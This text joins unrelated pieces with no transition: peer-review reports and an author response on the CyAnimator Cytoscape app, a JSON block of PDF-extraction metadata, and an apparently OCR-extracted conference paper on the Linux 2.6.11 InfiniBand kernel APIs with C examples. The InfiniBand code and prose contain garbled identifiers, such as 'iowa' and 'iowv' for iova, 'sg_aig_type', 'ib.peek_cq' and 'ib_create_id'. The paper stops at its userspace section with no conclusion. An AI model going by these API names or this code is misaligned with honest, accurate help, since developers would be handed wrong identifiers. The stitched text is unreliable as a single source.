Click here to access the data.
Session file used to create the sample video.
The session file saved with the timeline used to create the sample video.
http://dx.doi.org/10.5256/f1000research.6852.s110145
Click here to access the data.
References
The authors of CyAnimator described an enhanced and improved version of the software (version 2). These improvements include an advanced and intuitive interface for controlling the animations and improved software architecture to ensure maintainability. Extensive documentation and methods description are contained within the current description.
**Competing Interests:** No competing interests were disclosed.
I confirm that I have read this submission and believe that I have an appropriate level of expertise to confirm that it is of an acceptable scientific standard.
The CyAnimator app is a valuable addition to the Cytoscape network visualization tool. Cytoscape itself doesn’t provide animation capabilities and the authors rightfully state that animation can provide additional insights for researchers.
There is some flickering visible while animating (nodes appearing and disappearing behind other nodes) but this apparently has to do with the current rendering engine. In future implementations
it is expected that these issues will be solved.
**Competing Interests:** No competing interests were disclosed.
I confirm that I have read this submission and believe that I have an appropriate level of expertise to confirm that it is of an acceptable scientific standard.
---
**Version 1**
Reviewer Report 02 September 2015
https://doi.org/10.5256/f1000research.7370.r10174
© 2015 Salomonis N. This is an open access peer review report distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited.
Nathan Salomonis
Cincinnati Children’s Hospital Medical Center Research Foundation, Cincinnati, OH, USA
The authors present a useful Cytoscape app that fills in an important void not provided by the parent application: dynamically transitioning between distinct network states or associated visualized datasets. The application is thus novel and provides an important function in Cytoscape that could significantly assist with biological interpretation.
**Major Point 1:** The authors state: “Note that CyAnimator is only able to animate between networks in the same network collection.”
Can a network collection be different networks that share some or all of the same nodes? If not, I understand how this could be a technical limitation of the app, but would be of particular use when curating distinct pathway states from an original network. Often, adding, subtracting, moving and re-coloring nodes in succession to different states in the same network instances is challenging, but storing these as distinct snap shots that can be animated together is extremely powerful. If not present, is this a future option?
**Major Point 2:** The shown movie is a reasonable simple demonstration of CyAnimator, however, this does not show of the more interesting dynamic options of the tools, such as transitioning between different developmental or temporal states (node color attributes, aka gene expression fold differences) or temporally distinct interactions for a given pathway (e.g., chain of metabolic events). While I realize this would be some work to do, this would more strongly demonstrate the capabilities of the software.
**Minor Point:** One of the powerful uses of this software would be via programmatic generation of animations, by defining network states and visual parameters. While I know that some of these capabilities are embedded in Cytoscape 3, are these possible within CyAnimator for the purpose of making animations outside of the UI? If so, can the authors provide an example set of code to do
this? A link to documentation or a tutorial would also be helpful for the end-users to properly use the software.
**Competing Interests:** No competing interests were disclosed.
I confirm that I have read this submission and believe that I have an appropriate level of expertise to confirm that it is of an acceptable scientific standard, however I have significant reservations, as outlined above.
Author Response 14 Dec 2015
**Scooter Morris,** University of California, San Francisco, USA
Thank you for your review. I have just submitted version 2 of the CyAnimator paper, which corresponds to the latest release of the App on the Cytoscape App store. The new app version is a significant rewrite and offers several advantages over the previous version, which I believe address move of your concerns. To answer point-by-point:
**Major Point 1:** The authors state: “Note that CyAnimator is only able to animate between networks in the same network collection.”
Can a network collection be different networks that share some or all of the same nodes? If not, I understand how this could be a technical limitation of the app, but would be of particular use when curating distinct pathway states from an original network. Often, adding, subtracting, moving and re-coloring nodes in succession to different states in the same network instances is challenging, but storing these as distinct snap shots that can be animated together is extremely powerful. If not present, is this a future option?
Yes, a network collection in Cytoscape 3 includes multiple networks that share nodes and edges. Essentially, a network collection can be thought of as a set of projections of a single network, very similar to the Cytoscape 2 model. Cytoscape 3 allows users to create multiple network collections and the nodes and edges aren't shared between them. Both versions of the App support this capability.
**Major Point 2:** The shown movie is a reasonable simple demonstration of CyAnimator, however, this does not show of the more interesting dynamic options of the tools, such as transitioning between different developmental or temporal states (node color attributes, aka gene expression fold differences) or temporally distinct interactions for a given pathway (e.g., chain of metabolic events). While I realize this would be some work to do, this would more strongly demonstrate the capabilities of the software.
The sample movie has been updated as suggested to show three different expression fold changes and a heat strip representation showing all three at once.
**Minor Point:** One of the powerful uses of this software would be via programmatic generation of animations, by defining network states and visual parameters. While I know that some of these capabilities are embedded in Cytoscape 3, are these possible within CyAnimator for the purpose
of making animations outside of the UI? If so, can the authors provide an example set of code to do this? A link to documentation or a tutorial would also be helpful for the end-users to properly use the software.
This version of the App introduces some simple commands that may be used by app developers to create frames. At this point, the capability remains somewhat rudimentary and doesn't allow programmatic changes to frame ordering or transition duration. This will be added in a future version and more detailed documentation will be written at that time.
**Competing Interests:** No competing interests were disclosed.
---
**Reviewer Report 18 August 2015**
https://doi.org/10.5256/f1000research.7370.r9880
© 2015 Scardoni G. This is an open access peer review report distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited.
Giovanni Scardoni
Center for BioMedical Computing, University of Verona, Verona, Italy
The App is very useful and easy to use. As the article highlights It is very important to have a tool allowing the user to create animations from static frames of a network, and there are no other Cytoscape apps with the same characteristics of CyAnimator. The paper is well written and both implementation and features are easy to understand.
Minor changes:
- The sentence about the future implementation of the maps in the implementation section should be moved to the conclusions session or to the supplementary materials. So the reader can concentrate on the current features of the app.
- Similarly, the last sentence of the conclusions sounds better as "The ability to save the key frames of an animation as part of a session will be added .....".
**Competing Interests:** No competing interests were disclosed.
I confirm that I have read this submission and believe that I have an appropriate level of expertise to confirm that it is of an acceptable scientific standard.
The benefits of publishing with F1000Research:
• Your article is published within days, with no editorial bias
• You can publish traditional articles, null/negative results, case reports, data notes and more
• The peer review process is transparent and collaborative
• Your article is indexed in PubMed after passing peer review
• Dedicated customer support at every stage
For pre-submission enquiries, contact research@f1000.com
|
{"Source-Url": "https://f1000researchdata.s3.amazonaws.com/manuscripts/8183/ab52486f-b5f5-4ed5-9426-ae253400cf9b_6852_-_scooter_morris_v2.pdf?doi=10.12688/f1000research.6852.2&numberOfBrowsableCollections=29&numberOfBrowsableInstitutionalCollections=4&numberOfBrowsableGateways=32", "len_cl100k_base": 5686, "olmocr-version": "0.1.53", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 29657, "total-output-tokens": 6773, "length": "2e12", "weborganizer": {"__label__adult": 0.0003676414489746094, "__label__art_design": 0.001354217529296875, "__label__crime_law": 0.00035262107849121094, "__label__education_jobs": 0.002010345458984375, "__label__entertainment": 0.0004699230194091797, "__label__fashion_beauty": 0.0002446174621582031, "__label__finance_business": 0.0004346370697021485, "__label__food_dining": 0.0004651546478271485, "__label__games": 0.001338958740234375, "__label__hardware": 0.0027523040771484375, "__label__health": 0.0013561248779296875, "__label__history": 0.0004363059997558594, "__label__home_hobbies": 0.0002446174621582031, "__label__industrial": 0.0004987716674804688, "__label__literature": 0.0004436969757080078, "__label__politics": 0.0002682209014892578, "__label__religion": 0.0005936622619628906, "__label__science_tech": 0.2724609375, "__label__social_life": 0.00025916099548339844, "__label__software": 0.268310546875, "__label__software_dev": 0.444091796875, "__label__sports_fitness": 0.0004506111145019531, "__label__transportation": 0.0003292560577392578, "__label__travel": 0.0002608299255371094}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 28448, 0.02175]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 28448, 0.25059]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 28448, 0.87165]], "google_gemma-3-12b-it_contains_pii": [[0, 1601, false], [1601, 1601, null], [1601, 6710, null], [6710, 11303, null], [11303, 13342, null], [13342, 16440, null], [16440, 19428, null], [19428, 20439, null], [20439, 23106, null], [23106, 25964, null], [25964, 28017, null], [28017, 28448, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1601, true], [1601, 1601, null], [1601, 6710, null], [6710, 11303, null], [11303, 13342, null], [13342, 16440, null], [16440, 19428, null], [19428, 20439, null], [20439, 23106, null], [23106, 25964, null], [25964, 28017, null], [28017, 28448, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 28448, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 28448, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 28448, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 28448, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 28448, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 28448, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 28448, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 28448, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 28448, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 28448, null]], "pdf_page_numbers": [[0, 1601, 1], [1601, 1601, 2], [1601, 6710, 3], [6710, 11303, 4], [11303, 13342, 5], [13342, 16440, 6], [16440, 19428, 7], [19428, 20439, 8], [20439, 23106, 9], [23106, 25964, 10], [25964, 28017, 11], [28017, 28448, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 28448, 0.04124]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
873ecacf824aa7f7450d4bb0ad8cb16e0b412bc0
|
Abstract
InfiniBand support was added to the kernel in 2.6.11. In this paper, we describe the various modules and interfaces of the InfiniBand core software and provide examples of how and when to use them. The core software consists of the host channel adapter (HCA) driver and a mid-layer that abstracts the InfiniBand device implementation specifics and presents a consistent interface to upper level protocols, such as IP over IB, sockets direct protocol, and the InfiniBand storage protocols. The InfiniBand core software is logically grouped into 5 major areas: HCA resource management, memory management, connection management, work request and completion event processing, and subnet administration. Physically, the core software is currently contained within 6 kernel modules. These include the Mellanox HCA driver, ib_mthca.ko, the core verbs module, ib_core.ko, the connection manager, ib_cm.ko, and the subnet administration support modules, ib_sa.ko, ib_mad.ko, ib_umad.ko. We will also discuss the additional modules that are under development to export the core software interfaces to userspace and allow safe direct access to InfiniBand hardware from userspace.
1 Introduction
This paper describes the core software components of the InfiniBand software that was included in the linux 2.6.11 kernel. The reader is referred to the architectural diagram and foils in the slide set that was provided as part of the paper’s presentation at the Ottawa Linux Symposium. It is also assumed that the reader has read at least chapters 3, 10, and 11 of InfiniBand Architecture Specification [IBTA] and is familiar with the concepts and terminology of the InfiniBand Architecture. The goal of the paper is not to educate people on the InfiniBand Architecture, but rather to introduce the reader to the APIs and code that implements the InfiniBand Architecture support in Linux. Note that the InfiniBand code that is in the kernel has been written to comply with the InfiniBand 1.1 specification with some 1.2 extensions, but it is important to note that the code is not yet completely 1.2 compliant.
The InfiniBand code is located in the kernel tree under linux-2.6.11/drivers/infiniband. The reader is encouraged to read the code and header files in the kernel tree. Several pieces of the InfiniBand stack that are in the kernel contain good examples of how to use
the routines of the core software described in
this paper. Another good source of information
Can be found at the www.openib.org web-
site. This is where the code is developed prior
to being submitted to the linux kernel mailing
list (lkml) for kernel inclusion. There are sev-
eral frequently asked question documents plus
email lists <openib-general@openib.
org>. Where people can ask questions or sub-
mit patches to the InfiniBand code.
The remainder of the paper provides a high
level overview of the mid-layer routines and
provides some examples of their usage. It is
targeted at someone that might want to write
a kernel module that uses the mid-layer or
someone interested in how it is used. The
paper is divided into several sections that cover
driver initialization and exit, resource manage-
ment, memory management, subnet adminis-
tration from the viewpoint of an upper level
protocol developer, connection management,
and work request and completion event pro-
cessing. Finally, the paper will present a sec-
tion on the user-mode infrastructure and how
one can safely use the InfiniBand resource di-
rectly from userspace applications.
2 Driver initialization and exit
Before using InfiniBand resources, kernel
clients must register with the mid-layer. This
also provides the way, via callbacks, for
the client to discover the available Infini-
Band devices that are present in the system.
To register with the InfiniBand mid-layer, a
client calls the ib_register_client rou-
tine. The routine takes as a parameter a
pointer to a ib_client structure, as defined
in linux-2.6.11/drivers/infiniband/
include/ib_verbs.h. The structure takes a
pointer to the client’s name, plus two function
pointers to callback routines that are invoked
when an InfiniBand device is added or removed
from the system. Below is some sample code
that shows how this routine is called:
```c
static void my_add_device(
struct ib_device *device);
static void my_remove_device(
struct ib_device *device);
static struct ib_client my_client = {
.name = "my_name",
.add = my_add_device,
.remove = my_remove_device
};
static int __init my_init(void)
{
int ret;
ret = ib_register_client(
&my_client);
if (ret)
printk(KERN_ERR
"my ib_register_client failed\n");
return ret;
}
static void __exit my_cleanup(void)
{
ib_unregister_client(
&my_client);
}
module_init(my_init);
module_exit(my_cleanup);
```
3 InfiniBand resource management
3.1 Miscellaneous Query functions
The mid-layer provides routines that allow a
client to query or modify information about the
various InfiniBand resources.
```c
ib_query_device
ib_query_port
ib_query_gid
ib_query_pkey
```
The `ib_query_device` routine allows a client to retrieve attributes for a given hardware device. The returned `device_attr` structure contains device specific capabilities and limitations, such as the maximum sizes for queue pairs, completion queues, scatter gather entries, etc., and is used when configuring queue pairs and establishing connections.
The `ib_query_port` routine returns information that is needed by the client, such as the state of the port (Active or not), the local identifier (LID) assigned to the port by the subnet manager, the Maximum Transfer Unit (MTU), the LID of the subnet manager, needed for sending SA queries, the partition table length, and the maximum message size.
The `ib_query_pkey` routine allows the client to retrieve the partition keys for a port. Typically, the subnet manager only sets one pkey for the entire subnet, which is the default pkey.
The `ib_modify_device` and `ib_modify_port` routines allow some of the device or port attributes to be modified. Most ULPs do not need to modify any of the port or device attributes. One exception to this would be the communication manager, which sets a bit in the port capabilities mask to indicate the presence of a CM.
Additional query and modify routines are discussed in later sections when a particular resource, such as queue pairs or completion queues, are discussed.
### 3.2 Protection Domains
Protection domains are a first level of access control provided by InfiniBand. Protection domains are allocated by the client and associated with subsequent InfiniBand resources, such as queue pairs, or memory regions.
Protection domains allow a client to associate multiple resources, such as queue pairs and memory regions, within a domain of trust. The client can then grant access rights for sending/receiving data within the protection domain to others that are on the Infinband fabric.
To allocate a protection domain, clients call the `ib_alloc_pd` routine. The routine takes and pointer to the device structure that was returned when the driver was called back after registering with the mid-layer. For example:
```c
my_pd = ib_alloc_pd(device);
```
Once a PD has been allocated, it is used in subsequent calls to allocate other resources, such as creating address handles or queue pairs.
To free a protection domain, the client calls `ib_dealloc_pd`, which is normally only done at driver unload time after all of the other resources associated with the PD have been freed.
```c
ib_dealloc_pd(my_pd);
```
### 3.3 Types of communication in InfiniBand
Several types of communication between end-points are defined by the InfiniBand architecture specification [IBTA]. These include reliable-connected, unreliable-connected, reliable-datagram, and unreliable datagrams. Most clients today only use either unreliable datagrams or reliable connected communications. An analogy in the IP network stack would be that unreliable datagrams are analogous to UDP packets, while a reliable-connected queue pairs provide a
connection-oriented type of communication, similar to TCP. But InfiniBand communication is packet-based, rather than stream oriented.
3.4 Address handles
When a client wants to communicate via unreliable datagrams, the client needs to create an address handle that contains the information needed to send packets.
To create an address handle the client calls the routine `ib_create_ah()`. An example code fragment is shown below:
```c
struct ib_ah_attr ah_attr;
struct ib_ah *remote_ah;
memset(&ah_attr, 0, sizeof ah_attr);
ah_attr.dlid = remote_lid;
ah_attr.sl = service_level;
ah_attr.port_num = port->port_num;
remote_ah = ib_create_ah(pd, &ah_attr);
```
In the above example, the `pd` is the protection domain, the `remote_lid` and `service_level` are obtained from an SA path record query, and the `port_num` was returned in the device structure through the `ib_register_client` callback. Another way to get the `remote_lid` and `service_level` information is from a packet that was received from a remote node.
There are also core verb APIs for destroying the address handles and for retrieving and modifying the address handle attributes.
```c
ib_destroy_ah
ib_query_ah
ib_modify_ah
```
Some example code that calls `ib_create_ah` to create an address handle for a multicast group can be found in the IPoIB network driver for InfiniBand, and is located in `linux-2.6.11/drivers/infiniband/ulp/ipoib`.
3.5 Queue Pairs and Completion Queue Allocation
All data communicated over InfiniBand is done via queue pairs. Queue pairs (QPs) contain a send queue, for sending outbound messages and requesting RDMA and atomic operations, and a receive queue for receiving incoming messages or immediate data. Furthermore, completion queues (CQs) must be allocated and associated with a queue pair, and are used to receive completion notifications and events.
Queue pairs and completion queues are allocated by calling the `ib_create_qp` and `ib_create_cq` routines, respectively.
The following sample code allocates separate completion queues to handle send and receive completions, and then allocates a queue pair associated with the two CQs.
```c
send_cq = ib_create_cq(device,
my_cq_event_handler,
NULL,
my_context,
my_send_cq_size);
recv_cq = ib_create_cq(device,
my_cq_event_handler,
NULL,
my_context,
my_recv_cq_size);
init_attr->cap.max_send_wr = send_cq_size;
init_attr->cap.max_send_sge = LIMIT_SG_SEND;
init_attr->cap.max_recv_wr = recv_cq_size;
init_attr->cap.max_recv_sge = LIMIT_SG_RECV;
init_attr->send_cq = send_cq;
init_attr->recv_cq = recv_cq;
init_attr->sg_aig_type = IB_SIGNAL_REQ_WR;
init_attr->qp_type = IB_QPT_RC;
init_attr->event_handler = my_qp_event_handler;
my_qp = ib_create_qp(pd, init_attr);
```
After a queue pair is created, it can be connected to a remote QP to establish a connection. This is done using the QP modify routine and the communication manager helper functions described in a later section.
There are also mid-layer routines that allow destruction and release of QPs and CQs, along
with the routines to query and modify the queue pair attributes and states. These additional core QP and CQ support routines are as follows:
ib_modify_qp
ib_query_qp
ib_destroy_qp
ib_destroy_cq
ib_resize_cq
Note that ib_resize_cq is not currently implemented in the mthca driver.
An example of kernel code that allocates QPs and CQs for reliable-connected style of communication is the SDP driver [SDP]. It can be found in the subversion tree at openib.org, and will be submitted for kernel inclusion at some point in the near future.
4 InfiniBand memory management
Before a client can transfer data across InfiniBand, it needs to register the corresponding memory buffer with the InfiniBand HCA. The InfiniBand mid-layer assumes that the kernel or ULP has already pinned the pages and has translated the virtual address to a Linux DMA address, i.e., a bus address that can be used by the HCA. For example, the driver could call get_user_pages and then dma_map_sg to get the DMA address.
Memory registration can be done in a couple of different ways. For operations that do not have a scatter/gather list of pages, there is a memory region that can be used that has all of physical memory pre-registered. This can be thought of as getting access to the “Reserved L_key” that is defined in the InfiniBand verbs extensions [IBTA].
To get the memory region structure that has the keys that are needed for data transfers, the client calls the ib_get_dma_mr routine, for example:
mr = ib_get_dma_mr(my_pd, IB_ACCESS_LOCAL_WRITE);
If the client has a list of pages that are not physically contiguous but want to be virtually contiguous with respect to the DMA operation, i.e., scatter/gather, the client can call the ib_reg_phys_mr routine. For example,
*iowa = &my_buffer1;
buffer_list[0].addr = dma_addr_buffer1;
buffer_list[0].size = buffer1_size;
buffer_list[1].addr = dma_addr_buffer2;
buffer_list[1].size = buffer2_size;
mr = ib_reg_phys_mr(my_pd, buffer_list, 2, IB_ACCESS_LOCAL_WRITE | IB_ACCESS_REMOTE_READ | IB_ACCESS_REMOTE_WRITE, iova);
The mr structure that is returned contains the necessary local and remote keys, lkey and rkey, needed for sending/receiving messages and performing RDMA operations. For example, the combination of the returned iowv and the rkey are used by a remote node for RDMA operations.
Once a client has completed all data transfers to a memory region, e.g., the DMA is completed, the client can release the resources back to the HCA using the ib_dereg_mr routine, for example:
ib_dereg_mr(mr);
There is also a verb, ib_rereg_phys_mr that allows the client to modify the attributes of
a given memory region. This is similar to doing a de-register followed by a re-register but where possible the HCA reuses the same resources rather than deallocating and then reallocating new ones.
```c
status = ib_rereg_phys_mr(mr, mr_rereg_mask, my_pd, buffer_list, num_phys_buf, mr_access_flags, iova_start);
```
There is also a set of routines that allow a technique called fast memory registration. Fast Memory Registration, or FMR, was implemented to allow the re-use of memory regions and to reduce the overhead involved in registration and deregistration with the HCAs. Using the technique of FMR, the client typically allocates a pool of FMRs during initialization. Then when it needs to register memory with the HCA, the client calls a routine that maps the pages using one of the pre-allocated FMRs. Once the DMA is complete, the client can unmap the pages from the FMR and recycle the memory region and use it for another DMA operation. The following routines are used to allocate, map, unmap, and deallocate FMRs.
```c
ib_alloc_fmr
ib_unmap_fmr
ib_map_phys_fmr
ib_dealloc_fmr
```
An example of coding using FMRs can be found in the SDP [SDP] driver available at openib.org.
**NOTE:** These FMRs are a Mellanox specific implementation and are NOT the same as the FMRs as defined by the 1.2 InfiniBand verbs extensions [IBTA]. The FMRs that are implemented are based on the Mellanox FMRs that predate the 1.2 specification and so the developers deviated slightly from the InfiniBand specification in this area.
InfiniBand also has the concept of memory windows [IBTA]. Memory windows are a way to bind a set of virtual addresses and attributes to a memory regions by posting an operation to a send queue. It was thought that people might want this dynamic binding/unbinding intermixed with their work request flow. However, it is currently not used, primarily because of poor H/W performance in the existing HCA, and thus is not implemented in the mthca driver in Linux.
However, there are APIs defined in the mid-layer for memory windows for when it is implemented in mthca or some future HCA driver. These are as follows:
```c
ib_alloc_mw
ib_dealloc_mw
```
5 **InfiniBand subnet administration**
Communication with subnet administration (SA) is often needed to obtain information for establishing communication or setting up multicast groups. This is accomplished by sending management datagram (MAD) packets to the SA through InfiniBand special QP 1 [IBTA]. The low level routines that are needed to send/receive MADs along with the critical data structures are defined in linux-2.6.11/drivers/infiniband/include/ib_mad.h.
Several helper functions have been implemented for obtaining path record information or joining multicast groups. These relieve
most clients from having to understand the low level MAD routines. Subnet administration APIs and data structures are located in linux-2.6.11/drivers/infiniband/include/ib_sa.h and the following sections discuss their usage.
5.1 Path Record Queries
To establish connections, certain information is needed, such as the source/destination LIDs, service level, MTU, etc. This information is found in a data structure known as a path record, which contains all relevant information of a path between a source and destination. Path records are managed by the InfiniBand subnet administrator (SA). To obtain a path record, the client can use the helper function:
```c
ib_sa_path_rec_get
```
This function takes the device structure, returned by the register routine callback, the local InfiniBand port to use for the query, a timeout value, which is the time to wait before giving up on the query, and two masks, comp_mask and gfp_mask. The comp_mask specifies the components of the ib_sa_path_rec to perform the query with. The gfp_mask is the mask used for internal memory allocations, e.g., the ones passed to kmalloc, GFP_KERNEL, GFP_USER, GFP_ATOMIC, GFP_USER. The **query parameter is a returned identifier of the query that can be used to cancel it, if needed. For example, given a source and destination InfiniBand global identifier (sgid/dgid) and the partition key, here is an example query call taken from the SDP [SDP] code.
```c
query_id = ib_sa_path_rec_get(
info->ca,
info->port,
&info->path,
(IB_SA_PATH_REC_DGID | IB_SA_PATH_REC_SGID | IB_SA_PATH_REC_PKEY | IB_SA_PATH_REC_NUMB_PATH),
info->sa_time,
GFP_KERNEL,
sdp_link_path_rec_done,
info,
&info->query);
if (result < 0) {
sdp_dbg_warn(NULL,
"Error <%d> restarting path query",
result);
}
```
In the above example, when the query completes, or times-out, the client is called back at the provided callback routine, sdp_link_path_rec_done. If the query succeeds, the path record(s) information requested is returned along with the context value that was provided with the query.
If the query times out, the client can retry the request by calling the routine again.
Note that in the above example, the caller must provide the DGID, SGID, and PKEY in the info->path structure. In the SDP example, the info->path.dgid, info->path.sgid, and info->path.pkey are set in the SDP routine do_link_path_lookup.
5.2 Cancelling SA Queries
If the client wishes to cancel an SA query, the client uses the returned **query parameter and query function return value (query id), e.g.,
```c
ib_sa_cancel_query(
query_id,
query);
```
5.3 Multicast Groups
Multicast groups are administered by the subnet administrator/subnet manager, which configure InfiniBand switches for the multicast group. To participate in a multicast group, a client sends a message to the subnet administrator to join the group. The APIs used to do this are shown below:
```
ib_sa_mcmember_rec_set
ib_sa_mcmember_rec_delete
ib_sa_mcmember_rec_query
```
The `ib_sa_mcmember_rec_set` routine is used to create and/or join the multicast group and the `ib_sa_mcmember_rec_delete` routine is used to leave a multicast group. The `ib_sa_mcmember_rec_query` routine can be called get information on available multicast groups. After joining the multicast group, the client must attach a queue pair to the group to allow sending and receiving multicast messages. Attaching/detaching queue pairs from multicast groups can be done using the API shown below:
```
ib_attach_mcast
ib_detach_mcast
```
The gid and lid in these routines are the multicast gid(mgid) and multicast lid (mlid) of the group. An example of using the multicast routines can be found in the IP over IB code located in `linux-2.6.11/drivers/infiniband/ulp/ipoib`.
5.4 MAD routines
Most upper level protocols do not need to send and receive InfiniBand management datagrams (MADs) directly. For the few operations that require communication with the subnet manager/subnet administrator, such as path record queries or joining multicast groups, helper functions are provided, as discussed in an earlier section.
However, for some modules of the mid-layer itself, such as the communications manager, or for developers wanting to implement management agents using the InfiniBand special queue pairs, MADs may need to be sent and received directly. An example might be someone that wanted to tunnel IPMI [IPMI] or SNMP [SNMP] over InfiniBand for remote server management. Another example is handling some vendor-specific MADs that are implemented by a specific InfiniBand vendor. The MAD routines are defined in `linux-2.6.11/drivers/infiniband/include/ib_mad.h`.
Before being allowed to send or receive MADs, MAD layer clients must register an agent with the MAD layer using the following routines. The `ib_register_mad_snoop` routine can be used to sniff MADs, which is useful for debugging.
```
ib_register_mad_agent
ib_unregister_mad_agent
ib_register_mad_snoop
```
After registering with the MAD layer, the MAD client sends and receives MADs using the following routines.
```
ib_post_send_mad
ib_coalesce_recv_mad
ib_free_recv_mad
ib_cancel_mad
ib_redirect_mad_qp
ib_process_mad_wc
```
The `ib_post_send_mad` routine allows the client to queue a MAD to be sent. After a MAD is received, it is given to a client through their receive handler specified when registering. When a client is done processing an incoming MAD, it frees the MAD buffer by calling `ib_free_recv_mad`. As one would expect, the `ib_cancel_mad` routine is used to cancel an outstanding MAD request.
`ib_coalesce_recv_mad` is a place-holder routine related to the handling of MAD segmentation and reassembly. It will copy received MAD segments into a single data buffer, and will be implemented once the InfiniBand reliable-multi-packet-protocol (RMPP) support is added.
Similarly, the routine `ib_redirect_mad_qp` and the routine `ib_process_mad_wc` are place holders for supporting QP redirection, but are not currently implemented. QP redirection permits a management agent to send and receive MADs on a QP other than the GSI QP (QP 1). As an example, a protocol which was data intensive could use QP redirection to send and receive management datagrams on their own QP, avoiding contention with other users of the GSI QP, such as connection management or SA queries. In this case, the client can re-direct a particular InfiniBand management class to a dedicated QP using the `ib_redirect_mad_qp` routine. The `ib_process_mad_wc` routine would then be used to complete or continue processing a previously started MAD request on the redirected QP.
### 6 InfiniBand connection management
The mid-layer provides several helper functions to assist with establishing connections. These are defined in the header file, `linux-2.6.11/drivers/infiniband/include/ib_cm.h` Before initiating a connection request, the client must first register a callback function with the mid-layer for connection events.
```c
ib_create_cm_id
ib_destroy_cm_id
```
The `ib_create_id` routine creates a communication id and registers a callback handler for connection events. The `ib_destroy_cm_id` routine can be used to free the communication id and de-register the communication callback routine after the client is finished using their connections.
The communication manager implements a client/server style of connection establishment, using a three-way handshake between the client and server. To establish a connection, the server side listens for incoming connection requests. Clients connect to this server by sending a connection request. After receiving the connection request, the server will send a connection response or reject message back to the client. A client completes the connection setup by sending a ready to use (RTU) message back to the server. The following routines are used to accomplish this:
```c
ib_cm_listen
ib_send_cm_req
ib_send_cm_rep
ib_send_cm_rtu
ib_send_cm_rej
ib_send_cm_mra
ib_cm_establish
```
The communication manager is responsible for retrying and timing out connection requests. Clients receiving a connection request may require more time to respond to a request than the
timeout used by the sending client. For example, a client tries to connect to a server that provides access to disk storage array. The server may require several seconds to ready the drives before responding to the client. To prevent the client from timing out its connection request, the server would use the `ib_send_cm_mra` routine to send a message received acknowledged (MRA) to notify the client that the request was received and that a longer timeout is necessary.
After a client sends the RTU message, it can begin transferring data on the connection. However, since CM messages are unreliable, the RTU may be delayed or lost. In such cases, receiving a message on the connection notifies the server that the connection has been established. In order for the CM to properly track the connection state, the server calls `ib_cm_establish` to notify the CM that the connection is now active.
Once a client is finished with a connection, it can disconnect using the disconnect request routine (`ib_send_cm_dreq`) shown below. The recipient of a disconnect request sends a disconnect reply.
```
ib_send_cm_dreq
ib_send_cm_drep
```
There are two routines that support path migration to an alternate path. These are:
```
ib_send_cm_lap
ib_send_cm_apr
```
The `ib_send_cm_lap` routine is used to request that an alternate path be loaded. The `ib_send_cm_apr` routine sends a response to the alternative path request, indicating if the alternate path was accepted.
### 6.1 Service ID Queries
InfiniBand provides a mechanism to allow services to register their existence with the subnet administrator. Other nodes can then query the subnet administrator to locate other nodes that have this service and get information needed to communicate with the other nodes. For example, clients can discover if a node contains a specific UD service. Given the service ID, the client can discover the QP number and QKey of the service on the remote node. This can then be used to send datagrams to the remote service. The communication manager provides the following routines to assist in service ID resolution.
```
ib_send_cm_sidr_req
ib_send_cm_sidr_rep
```
### 7 InfiniBand work request and completion event processing
Once a client has created QPs and CQs, registered memory, and established a connection or set up the QP for receiving datagrams, it can transfer data using the work request APIs. To send messages, perform RDMA reads or writes, or perform atomic operations, a client posts send work request elements (WQE) to the send queue of the queue pair. The format of the WQEs along with other critical data structures are located in `linux-2.6.11/drivers/infiniband/include/ib_verbs.h`. To allow data to be received, the client must first post receive WQEs to the receive queue of the QP.
```
ib_post_send
ib_post_recv
```
The post routines allow the client to post a list of WQEs that are linked via a linked list. If the format of WQE is bad and the post routine detects the error at post time, the post routines return a pointer to the bad WQE.
To process completions, a client typically sets up a completion callback handler when the completion queue (CQ) is created. The client can then call `ib_req_notify_cq` to request a notification callback on a given CQ. The `ib_req_ncomp_notif` routine allows the completion to be delivered after n WQEs have completed, rather than receiving a callback after a single one.
```
ib_req_notify_cq
ib_req_ncomp_notif
```
The mid-layer also provides routines for polling for completions and peeking to see how many completions are currently pending on the completion queue. These are:
```
ib_poll_cq
ib.peek_cq
```
Finally, there is the possibility that the client might receive an asynchronous event from the InfiniBand device. This happens for certain types of errors or ports coming online or going offline. Readers should refer to section 11.6.3 of the InfiniBand specification [IBTA] for a list of possible asynchronous event types. The mid-layer provides the following routines to register for asynchronous events.
```
ib_register_event_handler
ib_unregister_event_handler
```
## 8 Userspace InfiniBand Access
The InfiniBand architecture is designed so that multiple userspace processes can share a single InfiniBand adapter at the same time, with each the process using a private context so that fast path operation can access the adapter hardware directly without requiring the overhead of a system call or a copy between kernel space and userspace.
Work is currently underway to add this support to the Linux InfiniBand stack. A kernel module `ib_uverbs.ko` implements character special devices that are used for control path operations, such as allocating userspace contexts and pinning userspace memory as well as creating InfiniBand resources such as queue pairs and completion queues. On the userspace side, a library called `libibverbs` will provide an API in userspace similar to the kernel API described above.
In addition to adding support for accessing the verbs from userspace, a kernel module (`ib_umad.ko`) allows access to MAD services from userspace.
There also now exists a kernel module to proxy CM services into userspace. The kernel module is called `ib_ucm.ko`.
